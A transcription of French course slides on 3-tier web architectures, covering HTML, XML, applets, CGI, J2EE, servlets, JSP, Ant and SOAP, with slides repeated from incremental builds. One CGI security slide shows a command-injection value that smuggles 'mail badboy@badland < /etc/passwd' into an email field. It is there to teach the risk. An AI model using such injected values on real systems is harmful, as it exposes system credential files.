Les architectures 3-tiers Partie I : les applications WEB



Documents pareils
TP JEE Développement Web en Java. Dans ce TP nous commencerons la programmation JEE par le premier niveau d une application JEE : l application web.

Module BD et sites WEB

Architecture JEE. Objectifs attendus. Serveurs d applications JEE. Architectures JEE Normes JEE. Systèmes distribués

Mise en œuvre des serveurs d application

Web Tier : déploiement de servlets

Catalogue des Formations Techniques

Java pour le Web. Cours Java - F. Michel

Utilisation de Jakarta Tomcat

Application Web et J2EE

Avant-propos 1. Avant-propos Organisation du guide À qui s'adresse ce guide?...4

Institut Supérieur de Gestion. Cours pour 3 ème LFIG. Java Enterprise Edition Introduction Bayoudhi Chaouki

Architecture Orientée Service, JSON et API REST

Architectures web/bases de données

XML, PMML, SOAP. Rapport. EPITA SCIA Promo janvier Julien Lemoine Alexandre Thibault Nicolas Wiest-Million

Groupe Eyrolles, 2005, ISBN :

Environnements de Développement

INTRODUCTION A JAVA. Fichier en langage machine Exécutable

10. Base de données et Web. OlivierCuré

Programmation Web Avancée Introduction aux services Web

4. SERVICES WEB REST 46

Cours en ligne Développement Java pour le web

Programmation Web. Madalina Croitoru IUT Montpellier

Expert technique J2EE

Les sites Internet dynamiques. contact : Patrick VINCENT pvincent@erasme.org

Introduction à la plateforme J2EE

Compte Rendu d intégration d application

Failles XSS : Principes, Catégories Démonstrations, Contre mesures

JavaServer Pages (JSP)

Apache Tomcat 6. Guide d'administration du serveur Java EE sous Windows et Linux. Résumé. Étienne LANGLET

1. Installation d'un serveur d'application JBoss:

Nouvelles Plateformes Technologiques

Internet. DNS World Wide Web. Divers. Mécanismes de base Exécution d'applications sur le web. Proxy, fire-wall

Projet Java EE Approfondi

2 Chapitre 1 Introduction

7 villa de la citadelle Né le 13 mai Arcueil Nationalité : Française. Développeur Web JEE COMPÉTENCES

INTERNET est un RESEAU D ORDINATEURS RELIES ENTRE EUX A L ECHELLE PLANETAIRE. Internet : interconnexion de réseaux (anglais : net = réseau)

Vulnérabilités et sécurisation des applications Web

Europa. Développement JEE 5. avec Eclipse. K a r i m D j a a f a r. A v e c l a c o n t r i b u t i o n d e O l i v i e r S a l v a t o r i

Langage HTML (2 partie) <HyperText Markup Language> <tv>lt La Salle Avignon BTS IRIS</tv>

Ingénieur Développement Nouvelles Technologies

PRIMAVERA P6 ENTERPRISE PROJECT PORTFOLIO MANAGEMENT WEB SERVICES

Java c est quoi? Java. Java. Java : Principe de fonctionnement 31/01/ Vue générale 2 - Mon premier programme 3 - Types de Programme Java

JOnAS 5. Serveur d application d

Développement des Systèmes d Information

Notre Catalogue des Formations IT / 2015

Serveur d'application Client HTML/JS. Apache Thrift Bootcamp

L3 informatique TP n o 2 : Les applications réseau

Le développement d applications Web

Systèmes répartis. Fabrice Rossi Université Paris-IX Dauphine. Systèmes répartis p.1/49

24/11/2011. Cours EJB/J2EE Copyright Michel Buffa. Plan du cours. EJB : les fondamentaux. Enterprise Java Bean. Enterprise Java Bean.

Technologies du Web. Créer et héberger un site Web. Pierre Senellart. Page 1 / 26 Licence de droits d usage

30 ans d ingénierie, 23 ans de conseil en architecture de SI

JOnAS Day 5.1. Outils de développements

Le Modèle de Sécurité dans JAVA

NFA016 : Introduction. Pour naviguer sur le Web, il faut : Naviguer: dialoguer avec un serveur web

Hébergement de sites Web

Institut Supérieure Aux Etudes Technologiques De Nabeul. Département Informatique

Cours Master Recherche RI 7 Extraction et Intégration d'information du Web «Services Web»

Introduction à Java. Philippe Genoud.

Architectures Web Services RESTful

Youssef LYHYAOUI Ingénieur Java/J2EE, SOA, ESB, Web services 31 ans Statut : Indépendant SITUATION ACTUELLE

Programmation Internet Cours 4

Technologies Web. Ludovic Denoyer Sylvain Lamprier Mohamed Amine Baazizi Gabriella Contardo Narcisse Nya. Université Pierre et Marie Curie

Windows (2000/NT), Solaris, AIX, HP-UX, Linux Haute disponibilité : SunCluster 3, Veritas Cluster Server 4. J2EE (JSP, Servlet, EJB, JTA), Open Source

La base de données XML exist. A. Belaïd

Création de formulaires interactifs

les techniques d'extraction, les formulaires et intégration dans un site WEB

TP1. Outils Java Eléments de correction

S7 Le top 10 des raisons d utiliser PHP pour moderniser votre existant IBM i

J2EE - Introduction. Développement web - Java. Plan du chapitre

Faculté de Génie Chaire industrielle en infrastructures de communication. La technologie XML. Wajdi Elleuch

Formation en Logiciels Libres. Fiche d inscription

Formation : WEbMaster

Bases Java - Eclipse / Netbeans

Introduction à Java. Matthieu Herrb CNRS-LAAS. Mars

INFORMATIQUE & WEB. PARCOURS CERTIFICAT PROFESSIONNEL Programmation de sites Web. 1 an 7 MODULES. Code du diplôme : CP09

Applications et Services WEB: Architecture REST

Systèmes d'informations historique et mutations

Bases de données et Interfaçage Web

Jahia CMS ET Portal Version 5.0

«Consultant en système d'information et cloud computing»

Les Services Web. Jean-Pierre BORG EFORT

TP JAVASCRIPT OMI4 TP5 SRC

Java Avancé. LicencePro Olivier Perrin Université de Lorraine

RN2-Programmation Orientée Objet - JAVA CH 1 Introduction à la POO et Java

Refonte front-office / back-office - Architecture & Conception -

Architecture N-Tier. Ces données peuvent être saisies interactivement via l interface ou lues depuis un disque. Application

Les services usuels de l Internet

Introduction aux «Services Web»

Système de Gestion Electronique de Documents

Les grandes facettes du développement Web Nicolas Thouvenin - Stéphane Gully

Serveur d Applications Web : WebObjects

Les solutions de paiement CyberMUT (Crédit Mutuel) et CIC. Qui contacter pour commencer la mise en place d une configuration de test?

Auto-évaluation Aperçu de l architecture Java EE

Curriculum Vitae de Michel Casabianca

Introduction. PHP = Personal Home Pages ou PHP Hypertext Preprocessor. Langage de script interprété (non compilé)

Echosgraphik. Ce document sert uniquement à vous donner une vision sur ma manière de travailler et d appréhender un projet

Point sur les solutions de développement d apps pour les périphériques mobiles

Transcription:

Les architectures 3-tiers Partie I : les applications WEB

1 Evolutions logicielles Des objets aux composants... Objets JavaBeans, Objets ActiveX, Objets COM,...

1 Evolutions logicielles Des objets aux composants... Objets JavaBeans, Objets ActiveX, Objets COM,... Des objets aux objets distribués : Objets RMI, Objets CORBA, Objets DCOM,...

1 Evolutions logicielles Des objets aux composants... Objets JavaBeans, Objets ActiveX, Objets COM,... Des objets aux objets distribués : Objets RMI, Objets CORBA, Objets DCOM,... Vers des composants distribués : composants EJB, composants CORBA,.Net

2 Les architectures 3-tiers (1/3) Applets Java Composants Serveur SGBD Form HTML Réseau Fichiers JSP...

3 Les architectures 3-tiers (2/3) Le troisième niveau : les données Stockage des données (SGBD, fichiers,...) Réutilisation de code existant (ex : processus COBOL) Le second niveau : le traitement des données Le programmeur gère le code métier Le gestionnaire de composants gère le reste (persistance, transactions, sécurité...).

4 Les architectures 3-tiers (3/3) Le premier niveau : l interface graphique Uniquement l aspect visuel Pas de code métier! Uniquement affichage et transfert d informations (formulaires) Plusieurs interfaces possibles pour une même application (Wap, PC, PDA,...) Un protocole privilégié : le WEB (http) déploiement automatique des applications!

5 Le langage HTML Simplification de SGML CERN de Genève, les Normes (http://www.w3c.org) Langage non rigoureux (ex : paragraphe, logiciel tidy) Langage à base de tag : <nomcommande attribut1=valeur1... attributn=valeurn> </nomcommande> ou <nomcommande... /> Des évolutions : DHTML, XHTML,... De l habillage : flash, javascript,...

6 Le langage XML (1/2) Langage de balisage de document Données structurées Format d échange (MS Office 20XX?) Futur langage du Web? XML dispose : d un langage de description de format (dtd) du code XML (conforme à la dtd) et bien plus encore : XSL, XMI,...

7 Exemple de code XML <?xml version="1.0" encoding ="UTF-8" standalone="no"?> <!DOCTYPE PROTEIN SYSTEM "protein.dtd"> <PROTEIN name="bicoid" length="422"> <GENE name="bicoid"/> <INTERACTION> <PROTEIN name="bicoid"/> <GENE name="hunchback"/> </INTERACTION> </PROTEIN>

8 Exemple de code dtd-xml <?xml version="1.0" encoding ="UTF-8"?> <!-- protein.dtd --> <!ELEMENT PROTEIN (GENE?,INTERACTION*)> <!ATTLIST PROTEIN name CDATA #REQUIRED length CDATA #IMPLIED > <!ELEMENT GENE EMPTY> <!ATTLIST GENE name CDATA #REQUIRED> <!ELEMENT INTERACTION(PROTEIN,GENE)>

9 Le langage XML (2/2) Définition de parcours de données XML : Sax, DOM Existence de parsers génériques (Java, C,...) Définition de DTD pour différents domaines (molécules, MathML,...) Outils BD et XML (Oracle,...)

10 Les pages webs dynamiques : les applets Java (1/3) Définition : Une applet Java est un programme compilé, télechargé sur le web, et interprété au sein d un navigateur. import java.applet.applet; import java.awt.graphics; public class HelloWorld extends Applet { public void paint(graphics g) { g.drawstring("hello world!", 50, 25); } }

11 Pages webs dynamiques : les applets Java (2/3) <HTML> <HEAD> <TITLE> A Simple Program </TITLE> </HEAD> <BODY> Here is the output of my program: <APPLET CODE="HelloWorld.class" WIDTH=150 HEIGHT=25> </APPLET> </BODY> </HTML> Clause ARCHIVE Clause PARAM

12 Pages webs dynamiques : les applets Java (3/3) Contraintes de sécurité : accès disque, accès réseau Sécurité de l applet (ex : mot de passe dans le code) Le navigateur manipule également l applet (init, start, stop et destroy)

13 Pages webs dynamiques : les programmes CGI (1/3) Les programmes C.G.I. : Common Gateway Interface Exécution sur le serveur web Tout langage qui : peut lire des variables d environnement peut lire sur la sortie standard ex : shell unix, C, perl, Pas de notion de session

14 Pages webs dynamiques : les programmes CGI (2/3) Un exemple : <form action="http://sweethome/cgi-bin/prog.cgi" method=post> Votre nom : <input type="text" name="nom"> <p> Votre adresse Email : <input type="text" name="email"><p> <input type="submit" value="valider"> </form> Envoi des données par GET : données concaténées à l URL, limitation taille des données, données visibles, utilisation possible sans formulaire Envoi des données par POST : données envoyés à part, chiffrement possibles (ENCRYPT), pas de limitation de taille.

15 Pages webs dynamiques : les programmes CGI (3/3) Les actions du serveur web : Stocke les données du formulaire dans une variable d environnement Lance le programme CGI correspondant (vérification sécurité) en redirigeant la sortie standard. Attention à la sécurité, exemple : code CGI (en shell) : mail $adresse < doc.txt saisie champ email : xx@bidon.fr ; mail badboy@badland < /etc/passwd;

16 L architecture J2EE de SUN (1/2) Spécifications d une architecture logicielle basée sur Java

17 L architecture J2EE de SUN (2/2) Notion de serveur d applications Gère des containers : Containers dédié aux composants web (war file) Containers dédié aux composants EJB (jar file) Uniquement une norme!

18 J2EE : qu est-ce qu un composant? Du code respectant un framework particulier (JSP, Servlets, EJB) Des informations qui permettent de configurer le composant Descriptions standardisées au format XML

18 J2EE : qu est-ce qu un composant? Du code respectant un framework particulier (JSP, Servlets, EJB) Des informations qui permettent de configurer le composant Descriptions standardisées au format XML Réutilisabilité des composants : On modifie les descriptions XML, pas le code!

19 Cycle de vie des composants webs J2EE 1. Développement du composant 2. Archivage du composant dans un fichier normalisé (war) avec indications de déploiement (noms symboliques des composants,...) 3. Archivage dans une application j2ee (ear) avec informations de déploiement 4. Déploiement de l application vers un serveur d application compatible J2EE.

20 Archivage des composants Outil d archivage Jar : Implémentation Java structure ZIP Java donc multi-plate-forme exemples utilisation commande : jar cvf mescomposants.jar mescomposants/ jar tvf mescomposants.jar jar xvf mescomposants.jar

20 Archivage des composants Outil d archivage Jar : Implémentation Java structure ZIP Java donc multi-plate-forme exemples utilisation commande : jar cvf mescomposants.jar mescomposants/ jar tvf mescomposants.jar jar xvf mescomposants.jar Utilisé pour composants webs et ejb, java et applications J2EE

21 Exemple : structure d une application web <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE application PUBLIC -//Sun Microsystems, Inc.//DTD J2EE Application 1.3//EN http://java.sun.com/dtd/application_1_3.dtd > monappli/ META-INF/ application.xml mescomposantsweb.war jar cvf monappli.ear monappli/* <application> <display-name>monappli</display-name> <description>un exemple</description> <module> <web> <web-uri>mescomposantsweb.war</web-uri> <context-root>repertoireracine</context-root> </web> </module> </application>

22 Exemple : Structure d un composant web mescomposantsweb/ WEB-INF/ web.xml fic.html prog.jsp... jar cvf mescomposantsweb.jar mescomposantsweb/* <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE web-app PUBLIC -//Sun Microsystems http://java.sun.com/dtd/web-app_2_3.dtd > <web-app> <display-name>mescomposantsweb</display-name> <servlet> <servlet-name>prog</servlet-name> <display-name>prog</display-name> <jsp-file>/prog.jsp</jsp-file> </servlet> <servlet-mapping> <servlet-name>prog</servlet-name> <url-pattern>/progalias</url-pattern> </servlet-mapping> </web-app>

23 Implémentations J2EE Produits commerciaux : IBM Websphere, BEA WebLogic,... Produits libres : The Jakarta project (http://jakarta.apache.org/) dédié aux applications Web, produit phare :Tomcat (servlets) OpenEJB, Sun J2EE,... JBoss (http ://www.jboss.org) : Intègre Tomcat, SGBD Open Source (environ 200 000 téléchargements / mois), Déploiement équivaut à une copie dans un répertoire!

24 Les pages webs dynamiques : les servlets (1/2) Les servlets : Analogue à CGI (exécution coté serveur) mais : Langage Java module serveur servlets (ex : Tomcat) Notion de session!

25 Les pages webs dynamiques : les servlets (2/2) import java.io.*; import javax.servlet.*; import javax.servlet.http.*; public class Hello extends HttpServlet { public void doget(httpservletrequest req, HttpServletResponse res) throws ServletException, IOException { res.setcontenttype("text/html"); PrintWriter out = res.getwriter(); String name = req.getparameter("name"); out.println("<html><head><title>hello, " + name + "</TITLE></HEAD>"); out.println("<body>"); out.println("hello, " + name); out.println("</body></html>"); } }

26 Les pages webs dynamiques : les JSP Les Java Server Page (analogue à ASP) du code JAVA dans du code HTML (scriptlet) Génération automatique de servlets Le client ne voit que du code HTML!

27 Les pages webs dynamiques : PHP (1/2) Le langage PHP (hors J2EE) Un nouveau langage de script! API vers plusieurs bases de données (Oracle, Sybase, Postgres,...) Le client ne voit que du code HTML!

28 Un exemple complet JSP (1/6) Le formulaire HTML <HTML> <BODY BGCOLOR = "WHITE"> <H3>calculer son salaire</h3> <FORM METHOD="GET" ACTION="salaireAlias"> Entrez votre nom: <INPUT TYPE="TEXT" NAME="NOM"> <P> Entrez votre salaire actuel: <INPUT TYPE="TEXT" NAME="SALAIRE"> <INPUT TYPE="SUBMIT" VALUE="Submit"> <INPUT TYPE="RESET"> </FORM> </BODY> </HTML>

29 Un exemple complet JSP (2/6) Des commentaires <HTML> <HEAD> <TITLE>Calcul de l augmentation</title> </HEAD> <%-- début commentaire Scriptlet pour importer les packages JAVA <%@ indique une directive JSP --%>

30 Un exemple complet JSP (3/6) Des directives : <%@ page import="java.util.*" %>

31 Un exemple complet JSP (4/6) Déclarations de variables : <%! String nom, salaire; %> <%! double newsalaire ; %>

32 Un exemple complet JSP (5/6) scriptlet Des variables prédéfinies : request, session, response, out, in <% nom = request.getparameter("nom"); salaire = request.getparameter("salaire"); if (nom.equals("caron")) newsalaire=3.0 * (new Integer(salaire).intValue()) ; else newsalaire=1.5 * (new Integer(salaire).intValue()) ; %>

33 Un exemple complet JSP (6/6) Des expressions : <H1> Calcul du salaire : </H1> Votre salaire vaut maintenant : <%= newsalaire %> <P>

34 Plate-forme J2EE Serveur d application JBoss (http ://www.jboss.org) Moteur de servlets Tomcat 4.0 JDK 1.3.1 Outils associés : Apache Ant XDoclet et un éditeur texte...

35 L outil Ant Un makefile écrit en Java (donc multi-plateforme :-) Descriptions XML OpenSource De nombreuses taches prédéfinies (javac, jar,...) Architecture ouverte : on peut créer de nouvelles taches

36 Principe de Ant <!-- fichier build.xml --> <project name="exemple" default="b" basedir="."> <target name="a"> <tache1.../> <tache2.../> </target> <target name="b" depends="a">... </target> <target name="c">... </target> <target name="d" depends="a,b">... </target> </project> ant ant C ant -f build.xml ant -f toto.xml D Description des taches et options à : file :///usr/local/xdoclet-1-2b3/docs/index.html

37 Ant par l exemple <project name="exemple" default="compile" basedir="."> <property name="name" value="proj" /> <property name="src" value="src" /> <property name="build" value="build" /> <target name="init"> <mkdir dir="${build}" /> </target> <target name="compile" depends="init"> <javac srcdir="${src}" destdir="${build}" /> <jar jarfile="${name}.jar" basedir="${build}" /> </target> <target name="clean" <delete dir="${build}" /> <delete file="${name}.jar" /> </target> </project>

38 Une autre stratégie : les Web Services Le protocole SOAP (Simple Object Access Protocol) : Spécifications standard WC3

38 Une autre stratégie : les Web Services Le protocole SOAP (Simple Object Access Protocol) : Spécifications standard WC3 Microsoft est à l origine

38 Une autre stratégie : les Web Services Le protocole SOAP (Simple Object Access Protocol) : Spécifications standard WC3 Microsoft est à l origine Objectif : fournir un langage dérivé de XML pour décrire l échange de messages entre applications

38 Une autre stratégie : les Web Services Le protocole SOAP (Simple Object Access Protocol) : Spécifications standard WC3 Microsoft est à l origine Objectif : fournir un langage dérivé de XML pour décrire l échange de messages entre applications S appuie sur des standards : http, XML

39 Principe de SOAP Une commande est envoyé sous forme de message XML, (une sorte de XML-RPC)

39 Principe de SOAP Une commande est envoyé sous forme de message XML, (une sorte de XML-RPC) Transite par le protocole http

39 Principe de SOAP Une commande est envoyé sous forme de message XML, (une sorte de XML-RPC) Transite par le protocole http Sur le serveur, le message est décodé puis exécution commande

40 Les avantages de SOAP Pas de couche réseau spécifique : http standard

40 Les avantages de SOAP Pas de couche réseau spécifique : http standard Plus facile à mettre en œuvre que CORBA, RMI,...

40 Les avantages de SOAP Pas de couche réseau spécifique : http standard Plus facile à mettre en œuvre que CORBA, RMI,... Pas de problème de firewall, proxys,etc

40 Les avantages de SOAP Pas de couche réseau spécifique : http standard Plus facile à mettre en œuvre que CORBA, RMI,... Pas de problème de firewall, proxys,etc Réutilisation d applications existantes et accessible par le web De nombreux outils arrivent : MS Queue Series, Apache SOAP,... Outils de génération automatique de XML-SOAP!

41 L avenir de SOAP L une des briques de base de.net

41 L avenir de SOAP L une des briques de base de.net IBM et Lotus sont aussi des acteurs importants

41 L avenir de SOAP L une des briques de base de.net IBM et Lotus sont aussi des acteurs importants C est une réponse au problème de multi-plateformes et multi-langages

41 L avenir de SOAP L une des briques de base de.net IBM et Lotus sont aussi des acteurs importants C est une réponse au problème de multi-plateformes et multi-langages Prise en compte de la sécurité (en cours)

41 L avenir de SOAP L une des briques de base de.net IBM et Lotus sont aussi des acteurs importants C est une réponse au problème de multi-plateformes et multi-langages Prise en compte de la sécurité (en cours) Pas de transaction possible (http)

42 Incontournable! Conclusion

42 Conclusion Incontournable! Technologie J2EE en avance (JSP, JSTL, Servlets)

42 Conclusion Incontournable! Technologie J2EE en avance (JSP, JSTL, Servlets) Des frameworks compatible MVC (Struts, JSF,...)